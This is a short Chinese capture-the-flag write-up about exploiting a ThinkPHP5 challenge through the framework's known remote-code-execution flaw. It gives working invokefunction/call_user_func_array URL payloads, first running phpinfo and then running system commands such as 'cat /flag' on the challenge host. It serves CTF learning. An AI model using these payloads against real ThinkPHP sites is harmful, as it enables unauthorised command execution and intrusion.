0x01
打开题目,很明显是ThinkPHP5框架,这里就联想到ThinkPHP5的著名漏洞,再加上题目中的RCE(远程代码执行)解题思路基本就有了。
关于ThinkPHP5的这个漏洞,可以参考:ThinkPHP5 RCE漏洞重现及分析
0x02
使用payload验证一下漏洞:
/index.php/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
接下来需要修改URL中红圈内的两个参数来控制代码的执行
0x03
首先使用system函数来执行系统命令ls列出本目录下的文件,payload如图
本目录没有发现可以文件,尝试其他目录,比如上级目录,home目录,最后在根目录下找到了falg文件
0x04
构造payload,读取flag文件:
http://220.249.52.133:34398/index.php/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /flag